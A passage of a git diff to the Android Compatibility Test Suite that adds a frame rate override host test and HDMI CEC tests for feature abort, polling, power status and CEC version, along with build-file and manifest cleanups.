+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.view.Display;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Tests for frame rate override and the behavior of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+public class FrameRateOverrideHostTest extends CompatChangeGatingTestCase {
+
+    protected static final String TEST_APK = "CtsHostsideFrameRateOverrideTestsApp.apk";
+    protected static final String TEST_PKG = "com.android.cts.graphics.framerateoverride";
+
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    @Override
+    protected void setUp() throws Exception {
+        installPackage(TEST_APK, true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+}
diff --git a/hostsidetests/graphics/gpuprofiling/Android.bp b/hostsidetests/graphics/gpuprofiling/Android.bp
index ff441bc..d3afe48 100644
--- a/hostsidetests/graphics/gpuprofiling/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsGpuProfilingDataTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/graphics/gpuprofiling/TEST_MAPPING b/hostsidetests/graphics/gpuprofiling/TEST_MAPPING
new file mode 100644
index 0000000..ca81f4a
--- /dev/null
+++ b/hostsidetests/graphics/gpuprofiling/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsGpuProfilingDataTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 0ff8fa4..9bb6ce7 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test {
     name: "ctsgraphicsgpucountersinit",
     srcs: [
@@ -78,4 +74,4 @@
     ],
     use_embedded_native_libs: false,
     stl: "c++_shared",
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/harmfulappwarning/Android.bp b/hostsidetests/harmfulappwarning/Android.bp
index 61f9372..cb7d3ef 100644
--- a/hostsidetests/harmfulappwarning/Android.bp
+++ b/hostsidetests/harmfulappwarning/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHarmfulAppWarningHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/harmfulappwarning/TEST_MAPPING b/hostsidetests/harmfulappwarning/TEST_MAPPING
new file mode 100644
index 0000000..80c945b
--- /dev/null
+++ b/hostsidetests/harmfulappwarning/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHarmfulAppWarningHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/harmfulappwarning/sampleapp/Android.bp b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
index fe0685c..7eda22d 100644
--- a/hostsidetests/harmfulappwarning/sampleapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHarmfulAppWarningSampleApp",
     // Don't include this package in any target
diff --git a/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml b/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
index 5bfbd24..08a3c12 100755
--- a/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
+++ b/hostsidetests/harmfulappwarning/sampleapp/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.harmfulappwarning.sampleapp">
+     package="android.harmfulappwarning.sampleapp">
 
     <application>
-        <activity android:name=".SampleDeviceActivity" >
+        <activity android:name=".SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.bp b/hostsidetests/harmfulappwarning/testapp/Android.bp
index 6e008b0..a6d0e88 100644
--- a/hostsidetests/harmfulappwarning/testapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/testapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHarmfulAppWarningTestApp",
     dex_preopt: {
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index 6c74675..5fa3f52 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsHdmiCecHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 29045b4..d7e7045 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "HdmiCecHelperApp",
     defaults: ["cts_defaults"],
@@ -23,9 +19,12 @@
     certificate: "platform",
     srcs: ["src/**/*.java"],
     static_libs: [
-        "services.core",
-        "guava",
         "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "guava",
+        "services.core",
+        "truth-prebuilt",
     ],
     min_sdk_version: "28",
 }
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index e21fb53..c441f85 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -16,25 +16,27 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.hdmicec.app">
+     package="android.hdmicec.app">
     <uses-feature android:name="android.software.leanback"
-        android:required="false" />
+         android:required="false"/>
     <uses-permission android:name="android.permission.HDMI_CEC" />
-    <application >
-        <activity android:name=".HdmiCecKeyEventCapture" >
+    <application>
+        <activity android:name=".HdmiCecKeyEventCapture"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
-         <activity android:name=".HdmiCecAudioManager" >
+         <activity android:name=".HdmiCecAudioManager"
+              android:exported="true">
             <intent-filter>
-                <action android:name="android.hdmicec.app.MUTE" />
-                <action android:name="android.hdmicec.app.UNMUTE" />
-                <action android:name="android.hdmicec.app.REPORT_VOLUME" />
-                <action android:name="android.hdmicec.app.SET_VOLUME" />
-                <action android:name="android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS" />
-                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+                <action android:name="android.hdmicec.app.MUTE"/>
+                <action android:name="android.hdmicec.app.UNMUTE"/>
+                <action android:name="android.hdmicec.app.REPORT_VOLUME"/>
+                <action android:name="android.hdmicec.app.SET_VOLUME"/>
+                <action android:name="android.hdmicec.app.GET_SUPPORTED_SAD_FORMATS"/>
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".HdmiControlManagerHelper" >
@@ -42,8 +44,14 @@
                 <action android:name="android.hdmicec.app.OTP" />
             </intent-filter>
         </activity>
+
+        <uses-library android:name="android.test.runner" />
     </application>
 
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.hdmicec.app" />
+
     <uses-sdk android:minSdkVersion="28"   android:targetSdkVersion="28" />
 
 </manifest>
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 4605311..7c966dd0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -16,6 +16,8 @@
 
 package android.hdmicec.cts;
 
+import static org.junit.Assume.assumeTrue;
+
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.ITestDevice;
@@ -26,6 +28,7 @@
 
 import java.io.BufferedReader;
 import java.io.StringReader;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -65,6 +68,8 @@
 
     @Before
     public void setUp() throws Exception {
+        setCec14();
+
         if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
             mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
         }
@@ -181,4 +186,31 @@
         }
         throw new Exception("Could not parse active source from dumpsys.");
     }
+
+    private static void setCecVersion(ITestDevice device, int cecVersion) throws Exception {
+        device.executeShellCommand("settings put global hdmi_cec_version " + cecVersion);
+
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.TIMEOUT_CEC_REINIT_SECONDS);
+    }
+
+    /**
+     * Configures the device to use CEC 2.0. Skips the test if the device does not support CEC 2.0.
+     * @throws Exception
+     */
+    public void setCec20() throws Exception {
+        setCecVersion(getDevice(), HdmiCecConstants.CEC_VERSION_2_0);
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), mDutLogicalAddress,
+                CecOperand.GET_CEC_VERSION);
+        String reportCecVersion = hdmiCecClient.checkExpectedOutput(hdmiCecClient.getSelfDevice(),
+                CecOperand.CEC_VERSION);
+        boolean supportsCec2 = CecMessage.getParams(reportCecVersion)
+                >= HdmiCecConstants.CEC_VERSION_2_0;
+
+        // Device still reports a CEC version < 2.0.
+        assumeTrue(supportsCec2);
+    }
+
+    public void setCec14() throws Exception {
+        setCecVersion(getDevice(), HdmiCecConstants.CEC_VERSION_1_4);
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
index f04a1a7..712e56d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
@@ -51,6 +51,8 @@
     GET_CEC_VERSION(0x9f),
     REPORT_SHORT_AUDIO_DESCRIPTOR(0xa3),
     REQUEST_SHORT_AUDIO_DESCRIPTOR(0xa4),
+    GIVE_FEATURES(0xa5),
+    REPORT_FEATURES(0xa6),
     INITIATE_ARC(0xc0),
     ARC_INITIATED(0xc1),
     REQUEST_ARC_INITIATION(0xc3),
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index c4df53f..58ec4df 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -22,6 +22,8 @@
 
     public static final String PHYSICAL_ADDRESS_NAME = "cec-phy-addr";
     public static final int REBOOT_TIMEOUT = 60000;
+    public static final int TIMEOUT_CEC_REINIT_SECONDS = 5;
+    public static final int TIMEOUT_SAFETY_MS = 500;
 
     public static final int DEFAULT_PHYSICAL_ADDRESS = 0x1000;
     public static final int TV_PHYSICAL_ADDRESS = 0x0000;
@@ -35,9 +37,13 @@
     public static final int CEC_CONTROL_LEFT = 0x3;
     public static final int CEC_CONTROL_RIGHT = 0x4;
     public static final int CEC_CONTROL_BACK = 0xd;
+    public static final int CEC_CONTROL_POWER = 0x40;
     public static final int CEC_CONTROL_VOLUME_UP = 0x41;
     public static final int CEC_CONTROL_VOLUME_DOWN = 0x42;
     public static final int CEC_CONTROL_MUTE = 0x43;
+    public static final int CEC_CONTROL_POWER_TOGGLE_FUNCTION = 0x6B;
+    public static final int CEC_CONTROL_POWER_OFF_FUNCTION = 0x6C;
+    public static final int CEC_CONTROL_POWER_ON_FUNCTION = 0x6D;
 
     public static final int UNRECOGNIZED_OPCODE = 0x0;
 
@@ -56,6 +62,14 @@
     public static final int ABORT_REFUSED = 4;
     public static final int ABORT_UNABLE_TO_DETERMINE = 5;
 
+    // CEC versions
+    public static final int CEC_VERSION_1_4 = 0x05;
+    public static final int CEC_VERSION_2_0 = 0x06;
+
+    // CEC Power Status
+    public static final int CEC_POWER_STATUS_ON = 0;
+    public static final int CEC_POWER_STATUS_STANDBY = 1;
+
     // CEC Device feature list
     public static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
     public static final String LEANBACK_FEATURE = "feature:android.software.leanback";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 2b43cec..e2b7bb7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -83,8 +83,9 @@
     }
 
     private boolean isLanguageEditable() throws Exception {
-        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
-        return val.trim().equals("true") ? true : false;
+        String val = getDevice().executeShellCommand(
+                "getprop ro.hdmi.cec.source.set_menu_language.enabled");
+        return val.trim().equals("true");
     }
 
     private static String extractLanguage(String locale) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
new file mode 100644
index 0000000..d9b1b35
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC tests related to {@code <Feature Abort>} */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
+
+    private static final int TIMEOUT_SHORT_MILLIS = 1000;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-2-11
+     * Verify {@code <Feature Abort} message does not result in a {@code <Feature Abort>} response.
+     */
+    @Test
+    public void cect_hf4_2_11_featureAbortBehavior() throws Exception {
+        setCec20();
+
+        List<Integer> abortReasons = Arrays.asList(
+                HdmiCecConstants.ABORT_UNRECOGNIZED_MODE,
+                HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE,
+                HdmiCecConstants.ABORT_CANNOT_PROVIDE_SOURCE,
+                HdmiCecConstants.ABORT_INVALID_OPERAND,
+                HdmiCecConstants.ABORT_REFUSED,
+                HdmiCecConstants.ABORT_UNABLE_TO_DETERMINE);
+
+        for (Integer abortReason : abortReasons) {
+            hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, mDutLogicalAddress,
+                    CecOperand.FEATURE_ABORT, CecMessage.formatParams(abortReason));
+
+            hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.RECORDER_1,
+                    CecOperand.FEATURE_ABORT, TIMEOUT_SHORT_MILLIS);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
new file mode 100644
index 0000000..85c4c5c
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC tests related to polling */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.6-1
+     * Tests for Ack {@code <Polling Message>} message.
+     */
+    @Test
+    public void cect_11_2_6_1_Ack() throws Exception {
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+
+    /**
+     * Test HF4-2-10
+     * Verify {@code <Polling Message>} message is acknowledged in all states.
+     *
+     * Explicitly changes that polling messages are handled in standby power states.
+     */
+    @Test
+    public void cect_hf4_2_10_Ack() throws Exception {
+        setCec20();
+
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index 0e38b8c..8a2e14b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,6 +17,7 @@
 package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
@@ -27,14 +28,19 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import org.junit.Ignore;
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
 
+import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
-/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
+/**
+ * HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
+ */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
 
@@ -47,11 +53,75 @@
     private static final int MAX_SLEEP_TIME = 8;
 
     @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(hdmiCecClient);
+    public RuleChain mRuleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test HF4-6-20
+     *
+     * Verifies that {@code <Report Power Status>} message is broadcast when the device transitions
+     * from standby to on.
+     */
+    @Test
+    public void cect_hf4_6_20_broadcastsWhenTurningOn() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        // Move device to standby
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
+
+        // Turn device on
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
+
+        String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+            // Received the "turning off" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
+        assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
+                HdmiCecConstants.CEC_POWER_STATUS_ON);
+    }
+
+    /**
+     * Test HF4-6-21
+     *
+     * Verifies that {@code <Report Power Status>} message is broadcast when the device transitions
+     * from on to standby.
+     */
+    @Test
+    public void cect_hf4_6_21_broadcastsWhenGoingToStandby() throws Exception {
+        ITestDevice device = getDevice();
+        setCec20();
+
+        // Turn device on
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
+
+        // Move device to standby
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
+
+        String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+            // Received the "wake up" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
+        assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
+                HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+    }
 
     /**
      * Test 11.1.14-1, 11.2.14-1
@@ -104,4 +174,82 @@
             device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
         }
     }
+
+    /**
+     * Test HF4-6-8
+     *
+     * Tests that a device comes out of the standby state when it receives a {@code <User Control
+     * Pressed>} message with power related operands.
+     */
+    @Ignore("b/178083922")
+    @Test
+    public void cect_hf4_6_8_userControlPressed_powerOn() throws Exception {
+        ITestDevice device = getDevice();
+        List<Integer> powerControlOperands = Arrays.asList(HdmiCecConstants.CEC_CONTROL_POWER,
+                HdmiCecConstants.CEC_CONTROL_POWER_ON_FUNCTION,
+                HdmiCecConstants.CEC_CONTROL_POWER_TOGGLE_FUNCTION);
+
+        LogicalAddress source = mDutLogicalAddress == LogicalAddress.TV ? LogicalAddress.PLAYBACK_1
+                : LogicalAddress.TV;
+
+        for (Integer operand : powerControlOperands) {
+            try {
+                device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+                TimeUnit.SECONDS.sleep(MAX_SLEEP_TIME);
+                String wakeStateBefore = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Asleep");
+
+                hdmiCecClient.sendUserControlPressAndRelease(source, mDutLogicalAddress, operand,
+                        false);
+
+                TimeUnit.SECONDS.sleep(WAIT_TIME);
+                String wakeStateAfter = device.executeShellCommand(
+                        "dumpsys power | grep mWakefulness=");
+                assertWithMessage("Device should wake up on <User Control Pressed> %s", operand)
+                        .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Awake");
+            } finally {
+                device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            }
+        }
+    }
+
+    /**
+     * Test HF4-6-10
+     *
